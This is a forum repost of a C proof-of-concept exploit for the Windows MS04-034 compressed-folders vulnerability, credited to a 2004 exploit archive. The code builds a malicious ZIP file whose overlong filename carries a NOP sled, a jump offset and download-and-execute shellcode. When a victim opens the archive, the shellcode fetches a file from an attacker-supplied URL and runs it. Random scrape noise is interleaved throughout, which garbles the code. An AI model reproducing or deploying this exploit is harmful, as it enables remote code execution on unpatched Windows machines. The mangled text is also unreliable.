(MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders

韩冰

/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034) * % U n9 j! J1 \/ u; U2 |2 ]3 J* Tested under Windows XP SP0 Spanish/English & }& t" ?* e+ e' u. E! m. c) n7 X* * b/ p; X! R; P' [# \6 L6 r. A* Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html 8 O% I& }! Y# r$ P* Exploit Date: 21/10/2004 0 {" T1 A9 y$ R0 ^) e* * Tarako - Haxorcitos.com 2004 * + i8 O3 _# ~& p: q7 f" Q* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" ) J, j9 p5 v4 m0 B1 Y& l* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. * * Greetings t #haxorcitos, #dsr and #localhost @efnet * 3 }2 c2 c7 j( n# |1 I8 ~8 t* * How to get new offsets: # M1 l) h% T, O* 1) attach debugger (i.e ollydbg) to explorer.exe " F% x7 ^0 s. }% U* M3 q* 2) open the zip file as a folder and add or move some files to it * 3) search in the explorer.exe memory the shellcode and get the addresses * ' A& a- o0 y9 o* y" B, h' z+ ^0 J*/ ; e4 s' Z# M7 k# P: [5 K #include <stdio.h> 1 X/ f) i* G0 X1 l#include <windows.h> #pragma pack(1) / [/ F7 ?% E' d J: `3 d 6 z, V8 L$ I" s J' b- r#define DATOS "Tarako-Haxorcitos.com" * i: m4 g0 c# ]4 d. R: z5 ctypedef struct { DWORD Signature; // PK.. 4 bytes (0x04034B50) 6 X1 d2 \. r* a- u6 K6 B8 m5 GWORD VersionNeeded; WORD GeneralPurposeFlag; // para el data descriptor y demas : m; r; ~2 q1 [! L6 HWORD CompressionMethod; WORD ModFileTime; WORD ModFileDate; " M" U& O; O! ~DWORD Crc32; DWORD CompressedSize; . U' o$ ]) ?0 DDWORD UncompressedSize; WORD FilenameLength; WORD ExtraFieldLength; $ L7 a, a ~* j6 D- Q5 r$ r3 s// filename (variable size) , F) M3 f" l0 P6 _! \- Y6 E2 P// extra field (variable size) ( y' g6 L# g8 K8 y3 B% K& j}TOPHEADER; 9 A* _6 w4 Q" D. rtypedef struct { - B, k; P* A+ e( K8 ^DWORD Signature; // PK.. 4 bytes (0x02014B50) 5 z; c+ W& Q/ z( `WORD MadeVersion; 7 z' U+ V2 I* y3 j J4 w* y1 ~1 QWORD VersionNeeded; WORD GeneralPurposeFlag; // para el data descriptor y demas 5 f1 k& T, s3 z4 }WORD CompressionMethod; WORD ModFileTime; + u: G; K' u% A1 {WORD ModFileDate; DWORD Crc32; 4 X* K+ U( d J8 n5 i/ IDWORD CompressedSize; $ n4 h( T: Z" M! ODWORD UncompressedSize; WORD FilenameLength; 7 G1 {2 D. q1 i* T7 y3 kWORD ExtraFieldLength; - H9 V2 { ]. e! Z& [WORD FileCommentLength; WORD DiskNumberStart; : U; \+ J y: q$ MWORD InternalFileAttributes; DWORD ExternalFileAttributes; DWORD RelativeOffsetOfLocalHeader; // filename (variable size) 6 l* f5 `. J' l0 E/ x// extra field (variable size) // file comment (variable size) + ?; n1 w$ g. x8 V- }8 e d}MIDDLEHEADER; 9 a* ~$ K- j2 a. X( U" k9 Etypedef struct { 7 i7 f% Z7 a, f+ q+ P* @DWORD Signature; // PK.. 4 bytes (0x06054B50) WORD NumOfThisDisk; WORD NumDisckStartCentralDirectory; WORD NumEntriesCentralDirOnThisDisk; % P) T5 i1 U' V+ ~2 G( rWORD TotalNumEntriesCentralDir; b" u. P" W A) p# K! \DWORD SizeCentralDirectory; 2 V0 u7 m# P0 t# ADWORD OffsetCentraDirRespectStartDiskNum; 9 S; O8 W- s; w" ?WORD ZipCommentLength; : F" s B" X5 j- z4 I4 f// zipfile comment (variable size) 9 l" j# A2 `1 T2 Q e$ E1 I}BOTTOMHEADER; /* z+ a; Q2 e" A0 f* download shellcode - RaiSe - raise@netsearch-ezine.com */ char shellcode1[] = + ^0 C. ]1 G. `2 i; Z"\xEB\x5D\x5F\x8B\xF7\x80\x3F" "\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9" % N' G% G7 _4 G' j! _"\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08" $ z, M3 {9 R: Z! i9 `8 y# h"\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8" "\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B" "\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74" "\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74" ' V; L7 N) `7 k3 G"\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B" . y3 p- l7 W0 ~9 k"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53" . y: T8 h6 h) J: i"\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78" "\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30" 1 j; ~; j0 {( F! c5 L0 p) {"\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04" 3 ~. C. R4 Q8 e) X- a"\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66" 0 |. d3 o# y! u: K4 a"\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D" 0 p& c& U, j" y K& b"\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0" " c: o, y+ x/ Q; N5 J) {"\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04" "\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB" "\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C" ( |- u! ~2 y, b3 v"\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8" "\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52" "\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1" "\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC" + ~& C" U4 h G; O% s$ |8 X4 D; y"\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0" "\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B" 6 T# v+ h& M9 F% u, l) P% c"\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF" ( h( ~. u) Y* Y- ?) F, Z"\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69" % C" Z1 d1 J( O3 {"\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49" "\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F" * S5 ^+ a# A. r' b, P6 g1 h"\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61" + h2 F+ d/ _6 \3 l"\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78" "\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72" "\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65" 4 g5 d/ w7 ?5 B; P M"\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69" "\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64" & J9 j2 {0 B; C2 I"\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08"; 5 m6 Y0 _7 W5 |# d. E8 fchar shellcode2[] ="\x08\x01"; 4 ?" w( J$ s o* ]char offset[]="\x41\x41\x41\x41"; 2 s# {& M- S8 ?9 D( Q. dchar jmpbelow[]= "\xeb\x06\x90\x90"; int main(int argc,char *argv[]) { ) D6 I+ e4 B$ Q1 V' |) E# c& Q- _ / |5 {7 j1 w( v9 GFILE *ZipFile; ( H- z9 F, C6 ~" B0 Z) FTOPHEADER *Cabecera1; MIDDLEHEADER *Cabecera2; - I6 ]) W& w4 U1 {9 TBOTTOMHEADER *Cabecera3; & A$ N9 i$ z T3 ? 1 H5 }$ d. n' ^0 q) SDWORD c; . T1 N( }5 b, w, H; OUINT i; char *filename; 7 w7 T2 u. y6 _! h6 {: f& Wchar *url; . U) O* A( K7 ]- q2 R2 k; @6 s printf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC"); printf("\n Tarako - Tarako[AT]Haxorcitos.com\n"); , F1 u3 f+ O( D ) S P9 ~/ ^; a Y) Fif (argc!=2) { printf("\n\n Usage: %s <URL> \n",argv[0]); . Y2 @8 }( e( ^5 H& E6 sexit(1); } 2 P& t! z- W0 f3 b7 r3 w# B7 l url=argv[1]; Y7 {& J u% l" Gprintf("\n * URL: %s",url); ' q& v* B0 k" i& l/ M$ X ) e% ]8 c8 v# U3 h+ u0 H8 Vif (!(ZipFile=fopen("prueba.zip","w+b"))) { v) Q% f% B- N/ b5 k2 s8 O3 Qprintf("\n [E] fopen()"); exit(1); * p. y) R0 [* {} 5 h9 p: F$ ^& e& }+ X c=0x8000; // filename length filename=(char*)malloc(sizeof(char)*c); memset(filename,0,sizeof(filename)); : r) C; d4 h- m* j' ?1 N ~9 a$ Pfor( i=0x0;i<c;i++) filename=(BYTE)0x90; 3 I3 ^5 `, r3 v( c* A memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow)); & @% u9 o; x, T/ Vmemcpy(filename+0x1818,offset,strlen(offset)); - P$ W) M3 c2 N0 J8 a/ I( }8 w 7 i1 I/ W' P1 q3 W' K# D! P$ w# xmemcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1); memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url)); memcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1); 3 @2 q) k# t. m+ P; b" t, G3 o* t0 d memcpy(filename+(c-4),".txt",4); Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER)); 5 y% D; _4 g6 @" G+ W; UCabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER)); Cabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER)); memset(Cabecera1,0,sizeof(TOPHEADER)); memset(Cabecera2,0,sizeof(MIDDLEHEADER)); memset(Cabecera3,0,sizeof(BOTTOMHEADER)); 9 Z$ m6 P, \3 x" n. H) j/////////////////////////////////////////////////////////////////// // TOPHEADER /////////////////////////////////////////////////////////////////// Cabecera1->Signature=0x04034B50; // DWORD Cabecera1->VersionNeeded=0x000A; // WORD ; M. p3 r+ P S( ~$ PCabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas Cabecera1->CompressionMethod=0x0000; // WORD 0 G& q$ |( A8 [% c8 \Cabecera1->ModFileTime=0x1362; // WORD + L: _# a' H* E: e+ p; ^Cabecera1->ModFileDate=0x3154; // WORD " }8 v4 ^( @% }+ [& a- k7 {Cabecera1->Crc32=0x85B36639; // DWORD ( M0 F) {& I0 w6 x: qCabecera1->CompressedSize=0x00000015; // DWORD / n: u5 i$ W9 U( d' yCabecera1->UncompressedSize=0x00000015; // DWORD 7 u( R+ d" y* b l- u) h& RCabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); Cabecera1->ExtraFieldLength=0x0000; // WORD ! h$ g! I% b& j/////////////////////////////////////////////////////////////////// 1 Y9 q8 p$ g, K1 f" F /////////////////////////////////////////////////////////////////// // MIDDLEHEADER ; O7 q' v- g4 J9 c" T7 G/ P/////////////////////////////////////////////////////////////////// Cabecera2->Signature=0x02014B50; // DWORD Cabecera2->MadeVersion=0x0014; // WORD % z8 ~0 @8 t; k6 i. P( UCabecera2->VersionNeeded=0x000A; // WORD 8 e) H! N- A% f+ dCabecera2->GeneralPurposeFlag=0x0002; // WORD Cabecera2->CompressionMethod=0x0000; // WORD Cabecera2->ModFileTime=0x1362; // WORD ) L' R& [5 L1 e9 _/ w8 eCabecera2->ModFileDate=0x3154; // WORD 7 q& }7 Z+ E. G9 X$ T W& d( jCabecera2->Crc32=0x85B36639; // DWORD / e3 [( u! ]" t+ i, D9 D( VCabecera2->CompressedSize=0x00000015; // DWORD Cabecera2->UncompressedSize=0x00000015; // DWORD 5 G& Q. h2 k4 D3 a% }+ p+ u6 MCabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); Cabecera2->ExtraFieldLength=0x0000; // WORD * z2 y1 d$ s# n) J& l( jCabecera2->FileCommentLength=0x0000; // WORD Cabecera2->DiskNumberStart=0x0000; // WORD Cabecera2->InternalFileAttributes=0x0001; // WORD Cabecera2->ExternalFileAttributes=0x00000020; // DWORD " c7 E9 i2 N1 F9 VCabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD /////////////////////////////////////////////////////////////////// 2 a4 F- n& {3 e4 Z" }- ^, G /////////////////////////////////////////////////////////////////// // BOTTOMHEADER / B6 [. R; G" @. P3 p8 {+ z" O( {/////////////////////////////////////////////////////////////////// Cabecera3->Signature=0x06054B50; // DWORD 9 }! f' q5 l! R' H7 p0 k" d8 V+ C1 XCabecera3->NumOfThisDisk=0x0000; // WORD Cabecera3->NumDisckStartCentralDirectory=0x0000; // WORD - C4 d; J: F0 o7 j RCabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD - D6 D3 M: M) e: T0 m/ R7 H1 O; d; mCabecera3->TotalNumEntriesCentralDir=0x0001; // WORD Cabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD / i" K( N; U4 x/ ~# }; c" ?; C YCabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD Cabecera3->ZipCommentLength=0x0000; // WORD ; {2 u* e2 H0 O: |3 l1 S Y/////////////////////////////////////////////////////////////////// * ]; m5 o/ Y( {$ V4 Qfwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile); * L2 V# t+ a/ {2 O0 s fwrite(filename, c, 1,ZipFile); - V/ V8 k% ~: r! efwrite(DATOS,strlen(DATOS),1,ZipFile); fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile); 8 S6 G8 ^. H: [" b, \2 dfwrite(filename, c, 1,ZipFile); fwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile); 3 a/ x5 X- G7 `* gfclose(ZipFile); printf("\n * prueba.zip created\n"); 4 n" q; a$ @+ Y. \" `. N/ Oreturn 1; " O/ X/ Z7 V: ?$ r9 o- w- E}//downloaded from milw0rm.com - t% u1 g0 R( y& C